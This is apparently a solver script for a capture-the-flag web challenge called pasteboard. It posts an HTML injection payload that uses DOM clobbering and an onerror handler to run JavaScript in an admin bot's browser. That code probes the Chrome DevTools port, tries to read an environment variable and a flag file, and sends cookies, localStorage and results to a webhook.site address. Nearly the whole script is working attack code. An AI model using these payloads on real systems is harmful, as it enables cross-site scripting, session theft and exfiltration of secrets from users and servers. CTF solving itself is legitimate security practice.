#!/usr/bin/env python3
"""
Send CDP payload directly
"""
import requests
import time
from urllib.parse import urljoin, quote

CHALLENGE_URL = "https://pasteboard-1fb68b7836775bea.chals.uoftctf.org"
WEBHOOK = "https://webhook.site/d8111fd3-599a-47ab-bcab-94d5ec54e078"

# CDP exploitation payload
code = f"""(async () => {{
    const w = '{WEBHOOK}';
    let flag = null;
    
    // Try remote debugging port
    try {{
        const r = await fetch('http://localhost:9222/json');
        const data = await r.json();
        await fetch(w + '?step=debug_port_open', {{method:'POST', body:JSON.stringify(data)}});
    }} catch(e) {{}}
    
    // Try to import DevTools
    try {{
        const Main = await import('/devtools/main/main.js');
        
        // Read process.env.FLAG
        try {{
            const result = await Main.MainImpl.SendOverProtocol('Runtime.evaluate', {{
                expression: 'process.env.FLAG'
            }});
            flag = result.result.value;
            await fetch(w + '?FLAG=' + encodeURIComponent(flag));
        }} catch(e) {{}}
        
        // Try reading file
        if (!flag) {{
            const result = await Main.MainImpl.SendOverProtocol('Runtime.evaluate', {{
                expression: 'require("fs").readFileSync("/app/flag.txt","utf8")'
            }});
            flag = result.result.value;
            await fetch(w + '?FLAG=' + encodeURIComponent(flag));
        }}
    }} catch(e) {{
        await fetch(w + '?error=cdp_import_failed&msg=' + encodeURIComponent(e.toString()));
    }}
    
    // Fallback: standard locations
    if (!flag) {{
        await fetch(w, {{
            method: 'POST',
            body: JSON.stringify({{
                cookie: document.cookie,
                localStorage: {{...localStorage}},
                windowFlag: window.FLAG || window.flag || null
            }})
        }});
    }}
}})();""".replace('\n', ' ')

encoded = quote(code)
payload = f'<form id="errorReporter"><input name="path" value="data:text/javascript,{encoded}"></form><img id="renderConfig" src=x onerror="window.lastRenderError=\'x\';throw new Error()">'

print("🚀 Sending CDP Exploitation Payload...")

# Create paste
response = requests.post(
    urljoin(CHALLENGE_URL, "/note/new"),
    data={"title": "CDP Exploit", "body": payload},
    allow_redirects=False
)

if response.status_code == 302:
    note_path = response.headers.get('Location')
    print(f"✅ Paste created: {urljoin(CHALLENGE_URL, note_path)}")

    # Report to bot
    report_response = requests.post(
        urljoin(CHALLENGE_URL, "/report"),
        data={"url": note_path}
    )

    if report_response.status_code == 202:
        print(f"✅ Queued for bot visit!")
        print(f"\n📊 Check webhook: {WEBHOOK}")
        print(f"\n🎯 Look for:")
        print(f"   - ?FLAG=uoftctf{{...}} → SUCCESS!")
        print(f"   - ?step=debug_port_open → CDP port accessible")
        print(f"   - ?error=cdp_import_failed → CDP not available")
    else:
        print(f"❌ Failed to report: {report_response.status_code}")
else:
    print(f"❌ Failed to create paste: {response.status_code}")
